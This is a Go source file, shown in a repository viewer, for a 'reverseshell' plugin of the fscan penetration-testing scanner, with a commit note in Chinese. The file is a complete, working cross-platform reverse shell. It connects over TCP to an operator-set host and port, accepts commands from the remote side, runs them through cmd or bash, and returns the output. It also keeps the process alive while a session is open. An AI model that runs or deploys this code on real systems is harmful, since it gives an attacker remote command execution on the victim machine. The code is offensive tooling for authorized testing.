fscan/Plugins/local/reverseshell/plugin.go
ZacharyZcR 551d36b998 fix: 修复反弹shell插件立即退出问题,改为纯Go原生实现
- 添加ReverseShellActive全局状态标志用于控制程序生命周期
- 修改Scanner.go检查活跃反弹shell并阻塞程序退出
- 重写reverseshell插件为纯Go原生TCP实现,移除PowerShell依赖
- 实现原生命令执行和交互式shell会话管理
- 修复多线程异步架构导致的连接立即断开问题
2025-08-10 06:00:13 +08:00

337 lines
8.6 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package reverseshell
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
connector *ReverseShellConnector
target string // 目标地址:端口
}
// ReverseShellConnector 反弹Shell连接器
type ReverseShellConnector struct {
*local.BaseLocalConnector
host string
port int
}
// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
*local.LocalConnection
Target string
Host string
Port int
}
// NewReverseShellPlugin 创建反弹Shell插件
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
if target == "" {
// 如果没有指定目标,使用默认值
target = "127.0.0.1:4444"
}
metadata := &base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"},
}
connector := NewReverseShellConnector(target)
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
target: target,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
baseConnector, _ := local.NewBaseLocalConnector()
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
portStr = "4444" // 默认端口
}
port, err := strconv.Atoi(portStr)
if err != nil {
port = 4444 // 默认端口
}
return &ReverseShellConnector{
BaseLocalConnector: baseConnector,
host: host,
port: port,
}
}
// Connect 建立反弹Shell连接
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 测试目标地址连通性
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", c.host, c.port), 5*time.Second)
if err != nil {
return nil, fmt.Errorf("无法连接到目标地址 %s:%d: %v", c.host, c.port, err)
}
conn.Close()
reverseShellConn := &ReverseShellConnection{
LocalConnection: baseConn,
Target: fmt.Sprintf("%s:%d", c.host, c.port),
Host: c.host,
Port: c.port,
}
return reverseShellConn, nil
}
// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
reverseShellConn := conn.(*ReverseShellConnection)
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
Extra: map[string]interface{}{
"target": reverseShellConn.Target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
},
}
return result, nil
}
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "reverseshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewReverseShellPlugin()
},
)
base.GlobalPluginRegistry.Register("reverseshell", factory)
}
// init 插件注册函数
func init() {
RegisterReverseShellPlugin()
}